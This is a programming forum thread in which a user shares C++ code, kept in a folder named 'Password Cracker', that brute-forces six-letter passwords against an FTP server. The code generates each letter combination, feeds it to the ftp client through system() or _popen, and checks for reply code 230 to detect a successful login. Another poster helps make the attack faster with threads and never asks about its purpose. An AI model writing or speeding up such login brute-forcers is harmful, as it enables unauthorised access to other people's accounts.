system() in for loop

[niskin]

I am running a loop which logs me into my ftp account. However, I need it to run VERY fast repeatedly. My problem is that, whether the login is successful or unsuccessful, it is quite slow because it has to then wait to login again etc. This is the code just for my login:

cout<< a << b << c << d << e << f <<"\n";
ofstream record ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
record<< a << b << c << d << e << f;
record.close();
ifstream readrecord ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
char password[6];
readrecord>> password;
ofstream ftpscript ( "c:\\Dave\\C-programming\\Password Cracker\\ftpscript.txt" );
ftpscript<< username <<"\n" << password <<"\n" <<"bye";
ftpscript.close();
system("cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.<my-website>.org.uk");

This code is in a for loop which needs to run at very high speeds. If I take out the system() command it runs at the speed I require, but if I leave it in (which I need to or the program will not be doing what I want it to) it does about one attempt to login every 2 seconds, that is very slow for a for loop.

[niskin]

Thanks, this is making a lot more sense now. I have compiled this and once I enter in the password, the program stops responding:

#include <fstream>
#include <iostream>
using namespace std;
#include <windows.h>
 
struct Data
{
       char* userid;
       char* password;
       char* ftpcommandline;
};
Data var;
 
DWORD WINAPI niskin(LPVOID arg)
{
    Data*  ptr = reinterpret_cast<Data*> (arg);
    char letters[100];
    ifstream user ( "username.txt" );
    user>> ptr->userid;
    user.close();
    char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
    ifstream record ( "record.txt" );
    record>> letters;
    record.close();
      for(char a = letters[0]; a <= alphabet[25]; a++)
    {
             for(char b = letters[1]; b <= alphabet[25]; b++)
             {
                      for(char c = letters[2]; c <= alphabet[25]; c++)
                      {
                           for(char d = letters[3]; d <= alphabet[25]; d++)
                           {
                                    for(char e = letters[4]; e <= alphabet[25]; e++)
                                    {
                                             for(char f = letters[5]; f <= alphabet[25]; f++)
                                             {
 
                                             //The LPVOID argument is the address of a struct Data (see below)
                                             //Type cast arg to a Data* to access the members.
                                             //do the ftp in here.
                                             FILE *success;
                                             success=fopen("success.txt", "w+");
                                             fprintf(success, "");
                                             fclose(success);
                                             cout<< a << b << c << d << e << f <<"\n";
                                             ofstream record ( "record.txt" );
                                             record<< a << b << c << d << e << f;
                                             record.close();
                                             ifstream readrecord ( "record.txt" );
                                             readrecord>> ptr->password;
                                             ofstream ftpscript ( "ftpscript.txt" );
                                             ftpscript<< ptr->userid <<"\n" << ptr->password <<"\n" <<"bye";
                                             ftpscript.close();
                                             char   psBuffer[128];
                                             FILE   *pPipe;
                                             /* Run command so that it writes its output to a pipe. Open this
                                              * pipe with read text attribute so that we can read it 
                                              * like a text file. 
                                              */
                                             if( (pPipe = _popen( "<command-to-connect-to-ftp>", "rt" )) == NULL )
 
                                             /* Read pipe until end of file. */
                                             while( !feof( pPipe ) )
                                             {
                                             if( fgets( psBuffer, 128, pPipe ) != NULL )
                                             //printf( psBuffer );
                                             FILE *success;
                                             success=fopen("success.txt", "a+");
                                             fprintf(success, psBuffer);
                                             fclose(success);
                                             }
                                    }
                           }    
                      }
             }
}
}
}
 
HANDLE StartThread(Data* arg)
{
       DWORD threadid;     //to hold the returned thread id
       HANDLE th = CreateThread(
              NULL,      //use default security
              0,      //use stack size of calling thread
              niskin,     //the thread
              (LPVOID)arg,         //the thread input argument
              0,      //run immediately
              &threadid
              );
      return th;
      }
 
int main() {
 
    char letters[100];
    char username[20];
    cout<<"Enter the username to use: ";
    cin.getline(username,20);
    ofstream user ( "username.txt" );
    user<< username;
    user.close();
    cout<<"\nEnter the letters to use: ";
    cin.getline(letters,100);
    ofstream record ( "record.txt" );
    record<< letters;
    record.close();
 
    if(strlen(letters)==6)
    {
    while(1==1){
    Data var1;
         //put values to the var1 members
         StartThread(&var1);
    /*Data var2;
         //put values to the var2members
         StartThread(&var2);
    Data var3;
         //put values to the var3 members
         StartThread(&var3);*/
 
    char reada[20];
    char readb[20];
    char readc[20];
    char readd[20];
    char reade[20];
    char readf[20];
    char readg[20];
    char readh[20];
    char readi[20];
    char readj[20];
    char readk[20];
    char readl[20];
    char readm[20];
    int readn;
 
    char password[20];                                                  
    ifstream readrecord ("record.txt");                                                  
    readrecord>> password;
    ifstream read ( "success.txt" );
    read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
    read.close();
    if (readn == 230){
              cout<< "\n\nYou are now logged in";
              cin.get();
      }
}
 
}

[weaknessforcats]

Data var1;
//put values to the var1 members
StartThread(&va r1);
/*Data var2;
//put values to the var2members
StartThread(&va r2);
Data var3;
//put values to the var3 members
StartThread(&va r3);*/

I see var1 defined burt I do not see where you actually put data into the variable before you start your thread. Instead, I see a huge chunk of main()
inside your thread function (niskin). You define the variable outside the function and put information in it inside the function. That makes it a pointless argument. It also means your function is doing about 25 things. Functions shoule do about 1 thing.

Read your file., get your userid and password ands ftp command line and put that informattion in a Data variable. Then call StartThread using the address of that variable.

I say again from my Post #20, that your thread function should look like:

DWORD WINAPI niskin(LPVOID arg)
{
      Data*  ptr = reinterpret_cast<Data*> (arg);
      //
      //OK. Now ptr->userid is the userid
      //              ptr->password
      //              ptr->ftpcommandline
      //
      //TODO: Build a string using this stuff and call the system()
      _popen("your ftp string does here");
}
 

In other words, your thread function should not have more than this in it.

Your current approach has you calling StartThread(), which launches a thread but then the thread function becomes a main(), complete with data entry.

You can't do this because when you launch a second thread, both threads will use the same ifstrream and they will trip over each other and cause your program to hang up.

When using threads, there can be no information common to more than one thread unless you establish a thing called a critical section. As a beginner in threads, just make sure that no information is shared by more than one thread.

To sum up:
1) read your file
2) get the userid, password and ftp string
3) create a Data variable
4) put the userid, password and ftp string insid ethe Data variable
5) start yout thread (call StartThread())
6) repeats steps 1-5 until you have processed the entire file
7) etc..

and be sure your thread function (niskin) looks like my example.

Good Luck.